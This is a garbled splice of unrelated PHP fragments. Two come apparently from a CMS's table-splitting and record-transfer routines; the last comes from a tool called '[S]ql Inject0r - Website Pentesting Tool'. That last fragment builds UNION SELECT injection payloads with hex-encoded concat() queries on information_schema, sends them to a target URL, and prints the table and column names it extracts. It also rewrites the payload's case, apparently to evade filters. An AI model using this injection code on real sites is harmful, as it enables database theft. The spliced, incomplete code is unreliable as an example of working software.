function content_table($moduleid, $itemid, $split, $table_data = '') { if ($split) { return split_table($moduleid, $itemid); } else { $table_data or $table_data = get_table($moduleid, 1); return $table_data; } }
$part = split_id($tid); for ($i = 1; $i < $part + 2; $i++) { split_content($mid, $i); } } if ($fid <= $tid) { $result = $db->query("SELECT `{$fd}` FROM {$table} WHERE `{$fd}`>={$fid} ORDER BY `{$fd}` LIMIT 0,{$num}"); if ($db->affected_rows($result)) { while ($r = $db->fetch_array($result)) { $itemid = $r[$fd]; $t = $db->get_one("SELECT content FROM {$table_data} WHERE `{$fd}`={$itemid}"); if ($t) { $content = addslashes($t['content']); $db->query("REPLACE INTO " . split_table($mid, $itemid) . " ({$fd},content) VALUES ('{$itemid}','{$content}')"); } else { $t = $db->get_one("SELECT `{$fd}` FROM " . split_table($mid, $itemid) . " WHERE `{$fd}`={$itemid}"); if (!$t) { $db->query("REPLACE INTO " . split_table($mid, $itemid) . " ({$fd},content) VALUES ('{$itemid}','')"); } } } $itemid += 1; } else { $itemid = $fid + $num; } } else { //$db->query("TRUNCATE TABLE `{$table_data}`"); msg($MODULE[$mid]['name'] . '内容拆分成功'); } msg('ID从' . $fid . '至' . ($itemid - 1) . '拆分成功' . progress($sid, $fid, $tid), "?mid={$mid}&file={$file}&action={$action}&sid={$sid}&fid={$itemid}&tid={$tid}&num={$num}"); }
$d = $db->get_one("SELECT content FROM {$ftb_data} WHERE itemid={$fid}"); $content = daddslashes($d['content']); $sqlk = $sqlv = ''; foreach ($r as $k => $v) { if ($fs && !in_array($k, $fs)) { continue; } $sqlk .= ',' . $k; $sqlv .= ",'{$v}'"; } $sqlk = substr($sqlk, 1); $sqlv = substr($sqlv, 1); $db->query("INSERT INTO {$ttb} ({$sqlk}) VALUES ({$sqlv})"); $tid = $db->insert_id(); if (is_file(DT_CACHE . '/' . $tmid . '.part')) { $ttb_data = split_table($tmid, $tid); } $db->query("INSERT INTO {$ttb_data} (itemid,content) VALUES ('{$tid}', '{$content}')"); $linkurl = str_replace($fid, $tid, $r['linkurl']); $db->query("UPDATE {$ttb} SET linkurl='{$linkurl}' WHERE itemid={$tid}"); if ($delete) { $db->query("DELETE FROM {$ftb} WHERE itemid={$fid}"); $db->query("DELETE FROM {$ftb_data} WHERE itemid={$fid}"); $html = DT_ROOT . '/' . $MODULE[$fmid]['moduledir'] . '/' . $r['linkurl']; if (is_file($html)) { @unlink($html); } } $i++; } message('成功转移 ' . $i . ' 条数据', '?file=' . $file . '&action=' . $action, 2);
print "<html> <head><title> [S]ql Inject0r - Website Pentesting Tool </head></head><body bgcolor='black'>"; print "<center><a href='javascript:back();' STYLE='text-decoration:none'>[ <font color='#7A7AF7'>Back</font> ]</a>"; $print_table = preg_replace("/{$visible_col}/", "concat(0x73616e64656570,0x3a,TAbLe_NamE,0x3a,ColUmn_NamE,0x3a,0x73616e6465657031)+from+information_schema.columns+where+table_schema=0x{$hex}--+-", $disp_table); // get table namnes $split_table_column = preg_replace("/{$visible_col}/", "concat(0x7461626c65,0x3b,TAbLe_NamE,0x3b,0x7461626c6531,0x20,0x636f6c756d6e,0x3a,ColUmn_NamE,0x3a,0x636f6c756d6e31)+from+information_schema.columns+where+table_schema=0x{$hex}--+-", $disp_table); // eXTRACTING Table And column $html_table_col = file_get_contents($print_table); $split_table_column_html = file_get_contents($split_table_column); //Executing COlumn $splited_html_table_col = file_get_contents($split_table_column); //Executing Table $get_table_col = clear_table($html_table_col); // Get all Table name $splited_column = splited_column($splited_html_table_col); // Get COlun names $splited_table = split_table($split_table_column_html); // Get Table Names print "<br><br>"; print "<div>"; print "<center><table id='logintable' cellpadding='0' cellspaceing='2' border='0' >"; for ($c = 0; $c <= sizeof($get_table_col); $c++) { print "<tr><td><a style='text-decoration: none;' href='dosql.php?db={$db}&options={$option}&col={$visible_col}&table={$splited_table[$c]}&column={$splited_column[$c]}&link2={$disp_table}'><center>" . $get_table_col[$c] . "</a></td</tr></center>"; } print "</table>"; $c = $c - 1; print "<font color='white'>Total Column count Is " . $c . "</font>"; } } if (isset($post_col)) { $extract_column_html_1 = array(); $disp_table = preg_replace("/\\b\\sunion\\sselect\\s\\b/i", "+Union+SeLeCt+", $union_select_link_2);